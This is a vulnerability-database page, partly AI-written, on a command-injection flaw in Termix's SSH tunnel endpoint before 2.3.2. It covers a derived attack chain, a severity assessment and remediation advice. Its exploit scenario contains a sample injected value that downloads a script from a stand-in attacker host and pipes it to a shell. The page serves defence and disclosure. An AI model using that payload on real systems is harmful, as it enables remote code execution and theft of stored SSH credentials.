Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessDiscover exposed Termix instance
-
DeliveryCraft POST to /ssh/tunnel/connect with shell metacharacters in host fields
-
ExploitServer interpolates payload into shell command
-
ExecutionInjected command executes on Termix host
-
ImpactSteal stored SSH credentials and pivot to managed servers
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attacker must be able to send an HTTP POST to the /ssh/tunnel/connect endpoint of a Termix instance running a version prior to 2.3.2, and must be able to supply or control the endpointIP, endpointUsername, or password fields of a host record consumed by that endpoint. The CVSS vector lists PR:N (no privileges), implying the endpoint is reachable without authentication in default deployments - though operators who place Termix behind SSO/reverse-proxy auth, on a private network, or who restrict host-record creation to admins will materially limit exposure. No user interaction is required (UI:N), and exploitation succeeds against default installations on any supported platform (Windows, Linux, macOS) where the Termix service is network-reachable. |
| Impact | The CVSS 9.8 score is justified by the vector AV:N/AC:L/PR:N/UI:N with full CIA impact - exploitation is network-reachable, low-complexity, requires no authentication per the vector, and yields RCE. SSVC signals would lean toward 'act': technical impact is total, automatable is plausible since the endpoint is a single HTTP POST, and exploitation requires no user interaction. However, EPSS data was not provided and the CVE is not on CISA KEV, so there is no evidence of active exploitation yet. One conflicting signal worth noting: the description says the injection occurs via fields in a 'host record,' which in many deployments would require an authenticated user to create the host entry first - verify against the actual route's auth middleware, because the PR:N rating may not reflect production deployments that gate /ssh/tunnel/connect behind login. Even so, given the low complexity and RCE outcome, this should be treated as a high-priority patch. |
| Exploit ScenarioDerived | A remote attacker reachable to the Termix web service sends a POST request to /ssh/tunnel/connect with a host record whose endpointIP, endpointUsername, or password field embeds shell metacharacters such as '; curl attacker.tld/sh | sh #', causing the Termix server to execute the injected command on the host running Termix when it builds the SSH tunnel invocation. The result is persistent code execution on the Termix server itself (not on the remote SSH endpoint), giving the attacker a foothold from which to harvest stored SSH credentials for downstream hosts. No public exploit identified at time of analysis, but the bug is straightforward to weaponize given the published advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 05, 2026
OS command injection in Termix web-based server management platform prior to version 2.3.2 allows remote unauthenticated attackers to execute arbitrary commands on the source SSH host via the POST /ssh/tunnel/connect endpoint. The flaw stems from user-controlled host record fields being interpolated directly into shell commands without escaping, yielding persistent code execution. No public exploit identified at time of analysis, but a vendor-released patch is available in version 2.3.2.
RemediationAI
Vendor-released patch: upgrade to Termix 2.3.2 or later, available from https://github.com/Termix-SSH/Termix/releases/tag/release-2.3.2-tag for all supported platforms (Windows EXE/MSI, Linux DEB/AppImage, macOS DMG). If immediate upgrade is not possible, restrict network access to the Termix web interface using firewall rules or a reverse-proxy allowlist so that only trusted operator IPs can reach the /ssh/tunnel/connect endpoint, and disable or remove the tunnel-creation feature for non-administrative users (trade-off: breaks tunneling workflows). As a stopgap, run the Termix process under an unprivileged service account with no sudo rights and in a container with a read-only filesystem to limit blast radius of code execution; this does not prevent the injection but reduces post-exploitation impact. Review the advisory at https://github.com/Termix-SSH/Termix/security/advisories/GHSA-xmjh-8cc2-qm49 for vendor-recommended steps.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Termix (cpe:2.3:a:termix-ssh:termix) is a web-based server management platform providing SSH terminal access, port tunneling, and remote file editing. The vulnerability is a classic CWE-78 (OS Command Injection) where the backend constructs an SSH tunnel command by string-concatenating the endpointIP, endpointUsername, and password fields from a host record directly into a shell invocation, then passing the composite string to a shell interpreter. Because no escaping, quoting, or argument-array execution is used, shell metacharacters (;, |, &, $(), backticks) embedded in any of these fields are interpreted by the shell rather than treated as literal data, producing arbitrary command execution in the context of the Termix server process.
Know when Termix gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
1DescriptionGitHub Advisory
Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. The POST /ssh/tunnel/connect endpoint in Termix prior to version 2.3.2 builds an SSH tunnel command by interpolating user-controlled host record fields (endpointIP, endpointUsername, password) directly into a shell command without escaping, allowing persistent OS command injection on the source SSH host. Version 2.3.2 patches the issue.
Executive ViewAI
Termix versions prior to 2.3.2 contain a critical unauthenticated remote code execution vulnerability in the SSH tunnel management function, allowing attackers to execute arbitrary commands on managed servers. Although no public exploit code has been identified at time of analysis, the vulnerability's lack of authentication requirements and critical severity (CVSS 9.8) create immediate infrastructure risk. Any organization using affected Termix versions requires urgent patching to prevent server compromise.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Unauthenticated attackers can retrieve stored SSH host credentials - including addresses, usernames, and passwords - fro
Stored XSS in Termix File Manager (versions 1.7.0-1.9.0) allows attackers with SSH server access to execute arbitrary Ja
Remote command execution in Termix web-based server management platform (versions prior to 2.3.2) allows any authenticat
Remote code execution in Termix (self-hosted web-based server management platform) before version 2.1.0 lets an authenti
OS command injection in Termix (self-hosted web SSH/tunneling platform) before 2.3.2 lets an authenticated user who can
Cross-user SSH credential disclosure in Termix, a self-hosted web server-management platform, allows an authenticated lo
Broken authorization in Termix (self-hosted web-based SSH/server management platform) before 2.6.1 lets any authenticate
Command injection in Termix 2.4.1 through 2.5.0 lets an authenticated administrator execute arbitrary operating-system c
Cross-tenant remote code execution in Termix (web-based SSH/file management platform) prior to version 2.3.2 allows an a
Command injection in Termix server management platform before version 2.3.2 allows authenticated users to execute arbitr
Remote command injection in Termix, a web-based SSH server management platform, allows any authenticated user with file-
Unauthorized data exposure in Termix prior to 2.3.2 allows a low-privileged authenticated user to exfiltrate password-re
EUVD-2026-34876
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB